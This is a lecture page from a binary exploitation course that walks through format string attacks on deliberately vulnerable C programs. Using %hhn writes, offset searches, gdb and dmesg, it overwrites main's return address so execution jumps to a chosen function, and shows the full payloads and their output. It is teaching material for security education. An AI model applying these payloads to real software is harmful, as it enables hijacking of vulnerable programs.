SI485H: Stack Based Binary Exploits and Defenses (F15)

Home Policy Calendar Resources

Lec. 21: Format String Attacks III

Table of Contents

1 Overwriting the Return Address using a Format

So far, we've used format string attacks to overwrite a arbitrary value, but we need to now consider using this with an exploit.

Let's return to the example code we used the last time, but this time there is a function foo() that we wish to call by overwriting the return address of main().

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "print_stack.h"


void foo(){
  printf("Go Navy!\n");
}


int main(int argc, char * argv[]){

  static int test_val = 0x00616161; //"AAA\0" as an int

  printf("Right: ");
  printf("%s", argv[1]);
  printf("\n\n");

  printf("Wrong: ");
  printf(argv[1]);      //<------!!!!!
  printf("\n\n");

  printf("[*] test_val @ %p = %#08x\n", &test_val,test_val);


  print_stack("main",2);

  return;

}

Note, I also added the print_stack() function so we can see what's going in a bit more detail. We will eventually remove it in the complete attack.

1.1 Alignment

Before doing all that dirty work, let's setup our format string to be properly aligned so we won't have to do a bunch of recalculations. The goal is to produce a format string of the right length, with all the parts present, such that we can just focus on writing bytes.

                              need four totoal formats two-pair 
    addr2   addr4            formats to write a four-byte address
     /\      /\   .-------------------------------'---------------------.
    |  |    |  | /                                                       \
AAAABBBBCCCCDDDD%1$008x.%1$00x.%1$008x.%1$00x.%1$008x.%1$00x.%1$008x.%1$00x
|  |    |  |    \            /           \
 \/      \/      '-----.----'             '--- the index will change based
addr1   addr3         |                        on alignment and 00x will be hhn
                      |
                   one format to adjust number of output bytes in foramte
                   and one format to be replaced by hhn to do the writing

Let's give this format a warm up shot in our program:

user@si485H-base:demo$ ./fmt_vuln AAAABBBBCCCCDDDD%1\$008x.%1\$00x.%1\$008x.%1\$00x.%1\$008x.%1$00x.%1\$008x.%1\$00x
Right: AAAABBBBCCCCDDDD%1$008x.%1$00x.%1$008x.%1$00x.%1$008x.%1-bash0x.%1$008x.%1$00x

Wrong: AAAABBBBCCCCDDDDbffff85b.bffff85b.bffff85b.bffff85b.bffff85b.%1-bash0x.bffff85b.bffff85b

[*] test_val @ 0x804a028 = 0x616161
--- STACK main ---
0xbffff6a4 <ebp+0xc>: bffff734
0xbffff6a0 <ebp+0x8>: 00000002
0xbffff69c <ebp+0x4>: b7e33a83
0xbffff698 <ebp>: 00000000
0xbffff694 <ebp-0x4>: 00000000
0xbffff690 <ebp-0x8>: 08048610
0xbffff68c <ebp-0xc>: b7fc4000
0xbffff688 <ebp-0x10>: 00616161
0xbffff684 <ebp-0x14>: 00000002
0xbffff680 <ebp-0x18>: 08048725
0xbffff67c <ebp-0x1c>: 08048603
0xbffff678 <ebp-0x20>: bffff698

Ok, that looks good. Now we need to find at what index we find the start of the format string itself so we can remove the AAAA and BBBB and CCCC and DDDD and replace them with addresses we want to write too. For that, we can use a bash script:

user@si485H-base:demo$ for i in `seq 1 1 200`;  do echo -n "$i "; ./fmt_vuln AAAABBBBCCCCDDDD%1\$008x.%$i\$00x.%1\$008x.%$i\$00x.%1\$008x.%$i\$00x.%1\$008x.%$i\$00x | grep Wrong ; done | grep 41
41 Wrong: AAAABBBBCCCCDDDDbffff85a.b7fed180.bffff85a.b7fed180.bffff85a.b7fed180.bffff85a.b7fed180
70 Wrong: AAAABBBBCCCCDDDDbffff85a.b7fdd414.bffff85a.b7fdd414.bffff85a.b7fdd414.bffff85a.b7fdd414
121 Wrong: AAAABBBBCCCCDDDDbffff856.4141006e.bffff856.4141006e.bffff856.4141006e.bffff856.4141006e
122 Wrong: AAAABBBBCCCCDDDDbffff856.42424141.bffff856.42424141.bffff856.42424141.bffff856.42424141
141 Wrong: AAAABBBBCCCCDDDDbffff856.30302431.bffff856.30302431.bffff856.30302431.bffff856.30302431

Essentially, we iterate through the indexes until we find some sequence of 0x41's (or other values we are interested in. If you look above, at 121 and 122 we see the sequences that matter, but they aren't quite align the way we want. We need to add two bytes to the string to get the alignment to work.

user@si485H-base:demo$ for i in `seq 1 1 200`;  do echo -n "$i "; ./fmt_vuln AAAABBBBCCCCDDDD..%1\$008x.%$i\$00x.%1\$008x.%$i\$00x.%1\$008x.%$i\$00x.%1\$008x.%$i\$00x | grep Wrong ; done | grep 41
41 Wrong: AAAABBBBCCCCDDDD..bffff858.b7fed180.bffff858.b7fed180.bffff858.b7fed180.bffff858.b7fed180
70 Wrong: AAAABBBBCCCCDDDD..bffff858.b7fdd414.bffff858.b7fdd414.bffff858.b7fdd414.bffff858.b7fdd414
121 Wrong: AAAABBBBCCCCDDDD..bffff854.41414141.bffff854.41414141.bffff854.41414141.bffff854.41414141
141 Wrong: AAAABBBBCCCCDDDD..bffff854.30302431.bffff854.30302431.bffff854.30302431.bffff854.30302431

Notice the extra ".." following the D's to get everything to align properly, if we use 121.

user@si485H-base:demo$ ./fmt_vuln AAAABBBBCCCCDDDD..%1\$008x.%121\$00x.%1\$008x.%122\$00x.%1\$008x.%123\$00x.%1\$008x.%124\$00x
Right: AAAABBBBCCCCDDDD..%1$008x.%121$00x.%1$008x.%122$00x.%1$008x.%123$00x.%1$008x.%124$00x

Wrong: AAAABBBBCCCCDDDD..bffff854.41414141.bffff854.42424242.bffff854.43434343.bffff854.44444444

[*] test_val @ 0x804a028 = 0x616161
--- STACK main ---
0xbffff694 <ebp+0xc>: bffff724
0xbffff690 <ebp+0x8>: 00000002
0xbffff68c <ebp+0x4>: b7e33a83
0xbffff688 <ebp>: 00000000
0xbffff684 <ebp-0x4>: 00000000
0xbffff680 <ebp-0x8>: 08048610
0xbffff67c <ebp-0xc>: b7fc4000
0xbffff678 <ebp-0x10>: 00616161
0xbffff674 <ebp-0x14>: 00000002
0xbffff670 <ebp-0x18>: 08048725
0xbffff66c <ebp-0x1c>: 08048603
0xbffff668 <ebp-0x20>: bffff688

Now we have what we need to completely aligned format string to use in our exploit by writing bytes to the right place.

1.2 Writing Bytes

With a properly aligned format, let's start by writing the bytes we want to a locale that we can see clearly the bytes we are writing. The sample code makes this easy, we'll write to the test value at 0x804a02r. It's just a matter of putting that address into our format string and inserting some hhn's for writing.

user@si485H-base:demo$ ./fmt_vuln $(printf '\x27\xa0\x04\x08')$(printf '\x26\xa0\x04\x08')$(printf '\x25\xa0\x04\x08')$(printf '\x24\xa0\x04\x08')..%1\$008x.%121\$hhn.%1\$008x.%122\$hhn.%1\$008x.%123\$hhn.%1\$008x.%124\$hhn
Right: '&%$..%1$008x.%121$hhn.%1$008x.%122$hhn.%1$008x.%123$hhn.%1$008x.%124$hhn

Wrong: '&%$..bffff854..bffff854..bffff854..bffff854.

[*] test_val @ 0x804a024 = 0x1b252f39
--- STACK main ---
0xbffff694 <ebp+0xc>: bffff724
0xbffff690 <ebp+0x8>: 00000002
0xbffff68c <ebp+0x4>: b7e33a83
0xbffff688 <ebp>: 00000000
0xbffff684 <ebp-0x4>: 00000000
0xbffff680 <ebp-0x8>: 080485e0
0xbffff67c <ebp-0xc>: b7fc4000
0xbffff678 <ebp-0x10>: 1b252f39
0xbffff674 <ebp-0x14>: 00000002
0xbffff670 <ebp-0x18>: 080486f5
0xbffff66c <ebp-0x1c>: 080485d3
0xbffff668 <ebp-0x20>: bffff688

Notice, that by planning, we are perfectly aligned because 00x is 3 characters long and so is hhn.

Also notice, that we are writing the bytes from most significant to * least significant*. This is important because as we build up our format, if we have to change the value we bytes earlier, that changes the value of bytes later because it increases the length of the format. However, consider that when writing addresses, it is the least significant portion of the address space that will change more than the most significant portion. By writing the values from most to least, this means that the portion of the address which will change the least will not be affected by the portion that will change the most. For example, if we are writing to address 0xbffff982, but that changes to 0xbffff945, we don't want to have to change the format writing of 0xbffff9 because the 45 changed to 82. (BELIEVE ME ON THIS, I had to rework this lesson multiple times to fix these problems. Write your bytes most-to-least significant!)

Now, that we've gotten all that out of the way, let's get down to the business of writing bytes. First, let's find the address of foo():

user@si485H-base:demo$ objdump -d fmt_vuln | grep foo
0804852d <foo>:

Now we get to work. In the most significant byte, currently we are writing 0x1b but we need 0x08. This means we have to wrap around. Doing some math:

user@si485H-base:demo$ python -c "print (0x100 - 0x1b) + 0x8 + 8"
245

We need to write 256 bytes to get to 0x08 when accounting for the 8 bytes we are already writing.

user@si485H-base:demo$ ./fmt_vuln $(printf '\x27\xa0\x04\x08')$(printf '\x26\xa0\x04\x08')$(printf '\x25\xa0\x04\x08')$(printf '\x24\xa0\x04\x08')..%1\$245x.%121\$hhn.%1\$008x.%122\$hhn.%1\$008x.%123\$hhn.%1\$008x.%124\$hhn
Right: '&%$..%1$245x.%121$hhn.%1$008x.%122$hhn.%1$008x.%123$hhn.%1$008x.%124$hhn

Wrong: '&%$..                                                                                                                                                                                                                                             bffff854..bffff854..bffff854..bffff854.

[*] test_val @ 0x804a024 = 0x8121c26
--- STACK main ---
0xbffff694 <ebp+0xc>: bffff724
0xbffff690 <ebp+0x8>: 00000002
0xbffff68c <ebp+0x4>: b7e33a83
0xbffff688 <ebp>: 00000000
0xbffff684 <ebp-0x4>: 00000000
0xbffff680 <ebp-0x8>: 080485e0
0xbffff67c <ebp-0xc>: b7fc4000
0xbffff678 <ebp-0x10>: 08121c26
0xbffff674 <ebp-0x14>: 00000002
0xbffff670 <ebp-0x18>: 080486f5
0xbffff66c <ebp-0x1c>: 080485d3
0xbffff668 <ebp-0x20>: bffff688

Now we need to write 04 byte we are writing 12, so we use the same calculation again:

user@si485H-base:demo$ python -c "print (0x100 - 0x12) + 0x4 + 8"
250

Updating our format to do 250 bytes of output:

user@si485H-base:demo$ ./fmt_vuln $(printf '\x27\xa0\x04\x08')$(printf '\x26\xa0\x04\x08')$(printf '\x25\xa0\x04\x08')$(printf '\x24\xa0\x04\x08')..%1\$245x.%121\$hhn.%1\$250x.%122\$hhn.%1\$008x.%123\$hhn.%1\$008x.%124\$hhn
Right: '&%$..%1$245x.%121$hhn.%1$250x.%122$hhn.%1$008x.%123$hhn.%1$008x.%124$hhn

Wrong: '&%$..                                                                                                                                                                                                                                             bffff854..                                                                                                                                                                                                                                                  bffff854..bffff854..bffff854.

[*] test_val @ 0x804a024 = 0x8040e18
--- STACK main ---
0xbffff694 <ebp+0xc>: bffff724
0xbffff690 <ebp+0x8>: 00000002
0xbffff68c <ebp+0x4>: b7e33a83
0xbffff688 <ebp>: 00000000
0xbffff684 <ebp-0x4>: 00000000
0xbffff680 <ebp-0x8>: 080485e0
0xbffff67c <ebp-0xc>: b7fc4000
0xbffff678 <ebp-0x10>: 08040e18
0xbffff674 <ebp-0x14>: 00000002
0xbffff670 <ebp-0x18>: 080486f5
0xbffff66c <ebp-0x1c>: 080485d3
0xbffff668 <ebp-0x20>: bffff688

Next we are writing 0x0e and we need to be writing 0x85, so again, math:

user@si485H-base:demo$ python -c "print 0x85 - 0x0e + 8"
127

And an update of the format string:

user@si485H-base:demo$ ./fmt_vuln $(printf '\x27\xa0\x04\x08')$(printf '\x26\xa0\x04\x08')$(printf '\x25\xa0\x04\x08')$(printf '\x24\xa0\x04\x08')..%1\$245x.%121\$hhn.%1\$250x.%122\$hhn.%1\$127x.%123\$hhn.%1\$008x.%124\$hhn
Right: '&%$..%1$245x.%121$hhn.%1$250x.%122$hhn.%1$127x.%123$hhn.%1$008x.%124$hhn

Wrong: '&%$..                                                                                                                                                                                                                                             bffff854..                                                                                                                                                                                                                                                  bffff854..                                                                                                                       bffff854..bffff854.

[*] test_val @ 0x804a024 = 0x804858f
--- STACK main ---
0xbffff694 <ebp+0xc>: bffff724
0xbffff690 <ebp+0x8>: 00000002
0xbffff68c <ebp+0x4>: b7e33a83
0xbffff688 <ebp>: 00000000
0xbffff684 <ebp-0x4>: 00000000
0xbffff680 <ebp-0x8>: 080485e0
0xbffff67c <ebp-0xc>: b7fc4000
0xbffff678 <ebp-0x10>: 0804858f
0xbffff674 <ebp-0x14>: 00000002
0xbffff670 <ebp-0x18>: 080486f5
0xbffff66c <ebp-0x1c>: 080485d3
0xbffff668 <ebp-0x20>: bffff688

Now the last byte. We are writing 8f and the target is 2d, which means wrapping around:

user@si485H-base:demo$ python -c "print (0x100 - 0x8f) + 0x2d + 8"
166

And now we've got it:

user@si485H-base:demo$ ./fmt_vuln $(printf '\x27\xa0\x04\x08')$(printf '\x26\xa0\x04\x08')$(printf '\x25\xa0\x04\x08')$(printf '\x24\xa0\x04\x08')..%1\$245x.%121\$hhn.%1\$250x.%122\$hhn.%1\$127x.%123\$hhn.%1\$166x.%124\$hhn
Right: '&%$..%1$245x.%121$hhn.%1$250x.%122$hhn.%1$127x.%123$hhn.%1$166x.%124$hhn

Wrong: '&%$..                                                                                                                                                                                                                                             bffff854..                                                                                                                                                                                                                                                  bffff854..                                                                                                                       bffff854..                                                                                                                                                              bffff854.

[*] test_val @ 0x804a024 = 0x804852d
--- STACK main ---
0xbffff694 <ebp+0xc>: bffff724
0xbffff690 <ebp+0x8>: 00000002
0xbffff68c <ebp+0x4>: b7e33a83
0xbffff688 <ebp>: 00000000
0xbffff684 <ebp-0x4>: 00000000
0xbffff680 <ebp-0x8>: 080485e0
0xbffff67c <ebp-0xc>: b7fc4000
0xbffff678 <ebp-0x10>: 0804852d
0xbffff674 <ebp-0x14>: 00000002
0xbffff670 <ebp-0x18>: 080486f5
0xbffff66c <ebp-0x1c>: 080485d3
0xbffff668 <ebp-0x20>: bffff688

1.3 Overwriting the return address

Now, that we have everything in place, it's only a matter of overwriting the return address. Fortunately, I've been printing out the stack each time to make life easier, so we know the address of the return address is 0xbffff68c. We can now stick that in to the from of our format string to complete the exploit.

user@si485H-base:demo$ ./fmt_vuln $(printf '\x8f\xf6\xff\xbf')$(printf '\x8e\xf6\xff\xbf')$(printf '\x8d\xf6\xff\xbf')$(printf '\x8c\xf6\xff\xbf')..%1\$245x.%121\$hhn.%1\$250x.%122\$hhn.%1\$127x.%123\$hhn.%1\$166x.%124\$hhn
Right: ????????????????..%1$245x.%121$hhn.%1$250x.%122$hhn.%1$127x.%123$hhn.%1$166x.%124$hhn

Wrong: ????????????????..                                                                                                                                                                                                                                             bffff854..                                                                                                                                                                                                                                                  bffff854..                                                                                                                       bffff854..                                                                                                                                                              bffff854.

[*] test_val @ 0x804a024 = 0x616161
--- STACK main ---
0xbffff694 <ebp+0xc>: bffff724
0xbffff690 <ebp+0x8>: 00000002
0xbffff68c <ebp+0x4>: 0804852d
0xbffff688 <ebp>: 00000000
0xbffff684 <ebp-0x4>: 00000000
0xbffff680 <ebp-0x8>: 080485e0
0xbffff67c <ebp-0xc>: b7fc4000
0xbffff678 <ebp-0x10>: 00616161
0xbffff674 <ebp-0x14>: 00000002
0xbffff670 <ebp-0x18>: 080486f5
0xbffff66c <ebp-0x1c>: 080485d3
0xbffff668 <ebp-0x20>: bffff688
Go Navy!

2 Formatting With Less Help

Ok, now that we've seen this in action, we need to pull away some of the aids that's have been making this easier. In particular, let's no longer print the stack each time and let's get rid of the testval. Instead, we'll have a much, much plainer vulnerable program.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void foo(){
  printf("Go Navy!\n");
}


int main(int argc, char * argv[]){

  int a = 0xdeadbeef;
  //LOTS OF CODE MIGHT BE HERE
  printf(argv[1]);

  return;
}

2.1 Alignment

Aligning our format is mostly the same process; however, finding the target address to overwrite will be different. We should consider a format that will both allow us to do arbitrary writes AND check what we are writing.

This format output is essentially the same as what we've done before, but I've added one extra format to the end.

user@si485H-base:demo$ ./plain_fmt AAAABBBBCCCCDDDD%1\$008x.%1\$00x.%1\$008x.%1\$00x.%1\$008x.%1\$00x.%1\$008x.%1\$00x.%1\$#08x
AAAABBBBCCCCDDDDbffff724.bffff724.bffff724.bffff724.bffff724.bffff724.bffff724.bffff724.0xbffff724

That extra format, we'll align up to 0xdeadbeef:

user@si485H-base:demo$ ./plain_fmt AAAABBBBCCCCDDDD%1\$008x.%1\$00x.%1\$008x.%1\$00x.%1\$008x.%1\$00x.%1\$008x.%1\$00x.%7\$#08x
AAAABBBBCCCCDDDDbffff724.bffff724.bffff724.bffff724.bffff724.bffff724.bffff724.bffff724.0xdeadbeef

This will be our target we'll write to. Now to align the rest of the format.

user@si485H-base:demo$ for i in `seq 1 1 200`; do echo -n "$i "; ./plain_fmt AAAABBBBCCCCDDDD%1\$008x.%$i\$00x.%1\$008x.%$i\$00x.%1\$008x.%$i\$00x.%1\$008x.%$i\$00x.%7\$#08x ; done | grep 41
41 AAAABBBBCCCCDDDDbffff724.2.bffff724.2.bffff724.2.bffff724.2.0xdeadbeef
74 AAAABBBBCCCCDDDDbffff724.b7fdd414.bffff724.b7fdd414.bffff724.b7fdd414.bffff724.b7fdd414.0xdeadbeef
123 AAAABBBBCCCCDDDDbffff724.41414141.bffff724.41414141.bffff724.41414141.bffff724.41414141.0xdeadbeef
141 AAAABBBBCCCCDDDDbffff724.252e7838.bffff724.252e7838.bffff724.252e7838.bffff724.252e7838.0xdeadbeef

And we see that at 123, we find the alignment we are looking for.

user@si485H-base:demo$ ./plain_fmt AAAABBBBCCCCDDDD%1\$008x.%123\$00x.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x 
AAAABBBBCCCCDDDDbffff724.41414141.bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef

2.2 Determining where to write

Now, things get a bit sticky. We have the aligned format but we are not entirely sure what address to replace the A's, B's, C's, and D's with. Let's fire up gdb and see if we can learn something more about the address alignment.

(gdb) br main
Breakpoint 1 at 0x804849a: file plain_fmt.c, line 12.
(gdb) r AAAABBBBCCCCDDDD%1\$008x.%123\$00x.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x 
Starting program: /home/user/git/si485-binary-exploits/lec/21/demo/plain_fmt AAAABBBBCCCCDDDD%1\$008x.%123\$00x.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x

Breakpoint 1, main (argc=2, argv=0xbffff6d4) at plain_fmt.c:12
12	  int a = 0xdeadbeef;

Now we're under gdb, let's print the entire stack frame:

(gdb) x/12x $esp
0xbffff610:	0x00000002	0xbffff6d4	0xbffff6e0	0xb7e4d42d
0xbffff620:	0xb7fc43c4	0xb7fff000	0x080484db	0xb7fc4000
0xbffff630:	0x080484d0	0x00000000	0x00000000	0xb7e33a83
(gdb) x/x $ebp+0x4
0xbffff63c:	0xb7e33a83

So the address of the return is at 0xbffff63c. And taking a full programatic step after the assignment of 0xdeadbeef, we can see what address deadbeef is at:

(gdb) n
14	  printf(argv[1]);
(gdb) x/12x $esp
0xbffff610:	0x00000002	0xbffff6d4	0xbffff6e0	0xb7e4d42d
0xbffff620:	0xb7fc43c4	0xb7fff000	0x080484db	0xdeadbeef
0xbffff630:	0x080484d0	0x00000000	0x00000000	0xb7e33a83

Let's take account of what we know: (1) The return address is at 0xbffff63c and (2) the address of deadbeef is 0x10 less at 0xbffff62c. Let's continue the program:

(gdb) c
Continuing.
AAAABBBBCCCCDDDDbffff6d4.2f000000.bffff6d4.656d6f68.bffff6d4.6573752f.bffff6d4.69672f72.0xdeadbeef
[Inferior 1 (process 2980) exited with code 012]

Looking at the output, we see the address 0xbffff6d4. This is a valid address and we can use this to calculate an offset from. So, the address of deadbeef is 0xa8 bytes offset (0xbfff6d4-0xa8), and the return address is offset 0x98 from that address (0xbffff6d4-0x98).

Now, we can take that information outside of gdb to try and determine what is going on and find the address we are looking for.

user@si485H-base:demo$ ./plain_fmt AAAABBBBCCCCDDDD%1\$008x.%123\$00x.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x 
AAAABBBBCCCCDDDDbffff724.41414141.bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef

Now we see the address 0xbffff724. Using the same calculation, the address of deadbeef should be at 0xbffff724-0xa8, or 0xbffff67c. And the address of return address should be 0xbffff68c. Let's see if we can cause some mischief:

user@si485H-base:demo$ ./plain_fmt $(printf "\x8c\xf6\xff\xbf")BBBBCCCCDDDD%1\$008x.%123\$hhn.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x 
???BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef
????BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef
????BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef
????BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef
????BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef
(...)

INFINITE LOOP! We are on to something here. Let's try some other addresses within the return address range.

user@si485H-base:demo$ ./plain_fmt $(printf "\x8d\xf6\xff\xbf")BBBBCCCCDDDD%1\$008x.%123\$hhn.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x 
????BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef
Segmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[496993.978183] plain_fmt[3047]: segfault at 41007d0c ip b7e31983 sp bffff690 error 6 in libc-2.19.so[b7e1a000+1a8000]
user@si485H-base:demo$ ./plain_fmt $(printf "\x8e\xf6\xff\xbf")BBBBCCCCDDDD%1\$008x.%123\$hhn.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x 
????BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef
Segmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[497001.269591] plain_fmt[3052]: segfault at b7193a83 ip b7193a83 sp bffff690 error 14
user@si485H-base:demo$ ./plain_fmt $(printf "\x8f\xf6\xff\xbf")BBBBCCCCDDDD%1\$008x.%123\$hhn.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x 
????BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef
Segmentation fault (core dumped)

Notice the 0x19 that is moving through the return address range, that means we are in the money and we can start writing some bytes to that address.

2.3 Writing Byes

Like before, we want to write from most significant to least significant, so we can setup the following format:

user@si485H-base:demo$ ./plain_fmt $(printf "\x8f\xf6\xff\xbf")$(printf "\x8e\xf6\xff\xbf")$(printf "\x8d\xf6\xff\xbf")$(printf "\x8c\xf6\xff\xbf")%1\$008x.%123\$hhn.%1\$008x.%124\$hhn.%1\$008x.%125\$hhn.%1\$008x.%126\$hhn.%7\$#08x 
????????????????bffff724..bffff724..bffff724..bffff724..0xdeadbeef
Segmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[497630.497343] plain_fmt[3118]: segfault at 19232d37 ip 19232d37 sp bffff690 error 14

And then look at the dmesg output to track our progress. The goal is to write to address of foo:

user@si485H-base:demo$ objdump -d plain_fmt | grep foo
0804847d <foo>:

The first byte we need to write is 0x08 and we are currently writing 0x19, so we wrap around:

user@si485H-base:demo$ python -c "print (0x100 - 0x19) + 0x08 + 8"
247
user@si485H-base:demo$ ./plain_fmt $(printf "\x8f\xf6\xff\xbf")$(printf "\x8e\xf6\xff\xbf")$(printf "\x8d\xf6\xff\xbf")$(printf "\x8c\xf6\xff\xbf")%1\$247x.%123\$hhn.%1\$008x.%124\$hhn.%1\$008x.%125\$hhn.%1\$008x.%126\$hhn.%7\$#08x 
????????????????                                                                                                                                                                                                                                               bffff724..bffff724..bffff724..bffff724..0xdeadbeef
Segmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[497667.448239] plain_fmt[3127]: segfault at 8121c26 ip 08121c26 sp bffff690 error 14

Next, we need 0x04 but we are writing 12 when we need 04.

user@si485H-base:demo$ python -c "print (0x100 - 0x12) + 0x04 + 8"
250
user@si485H-base:demo$ ./plain_fmt $(printf "\x8f\xf6\xff\xbf")$(printf "\x8e\xf6\xff\xbf")$(printf "\x8d\xf6\xff\xbf")$(printf "\x8c\xf6\xff\xbf")%1\$247x.%123\$hhn.%1\$250x.%124\$hhn.%1\$008x.%125\$hhn.%1\$008x.%126\$hhn.%7\$#08x 
????????????????                                                                                                                                                                                                                                               bffff724..                                                                                                                                                                                                                                                  bffff724..bffff724..bffff724..0xdeadbeef
Segmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[497734.158660] plain_fmt[3136]: segfault at 8040e18 ip 08040e18 sp bffff690 error 14 in plain_fmt[8048000+1000]

Next, we need 0x84 and we are writing 0e:

user@si485H-base:demo$ python -c "print ((0x100 - 0x0e) + 0x84 + 8)%256"
126
user@si485H-base:demo$ ./plain_fmt $(printf "\x8f\xf6\xff\xbf")$(printf "\x8e\xf6\xff\xbf")$(printf "\x8d\xf6\xff\xbf")$(printf "\x8c\xf6\xff\xbf")%1\$247x.%123\$hhn.%1\$250x.%124\$hhn.%1\$126x.%125\$hhn.%1\$008x.%126\$hhn.%7\$#08x 
????????????????                                                                                                                                                                                                                                               bffff724..                                                                                                                                                                                                                                                  bffff724..                                                                                                                      bffff724..bffff724..0xdeadbeef
Segmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[497815.575610] plain_fmt[3146]: segfault at 2 ip 00000002 sp bffff694 error 14 in plain_fmt[8048000+1000]

Uh oh …. what happened? Well, now that we are wrting 0x080484.. WE are now in the valid address ranges for what we want to write. So we can no longer rely on the dmesg output directly. Instead, we jumped to a valid address and the segfaulted somewhere else.

But all is not lost. Instead, we can now just do two calculations at once. Consider that the last time we wrote 126 bytes and the value in the least significant byte before that change was 0x18. That means that value should now be at: 0x18+126-8 = 0x8e. (The -8 was to account for the 8 bytes already printed within the format for 0x008).

If we are writing 0x8e, what we want to write 7d, that means for the last format we should be able to do this"

user@si485H-base:demo$ python -c "print ((0x100 - 0x8e) + 0x7d + 8)%256"
247
user@si485H-base:demo$ ./plain_fmt $(printf "\x8f\xf6\xff\xbf")$(printf "\x8e\xf6\xff\xbf")$(printf "\x8d\xf6\xff\xbf")$(printf "\x8c\xf6\xff\xbf")%1\$247x.%123\$hhn.%1\$250x.%124\$hhn.%1\$126x.%125\$hhn.%1\$247x.%126\$hhn.%7\$#08x 
????????????????                                                                                                                                                                                                                                               bffff724..                                                                                                                                                                                                                                                  bffff724..                                                                                                                      bffff724..                                                                                                                                                                                                                                               bffff724..0xdeadbeef
Go Navy!
Segmentation fault (core dumped)

And, "Go Navy!" Boom.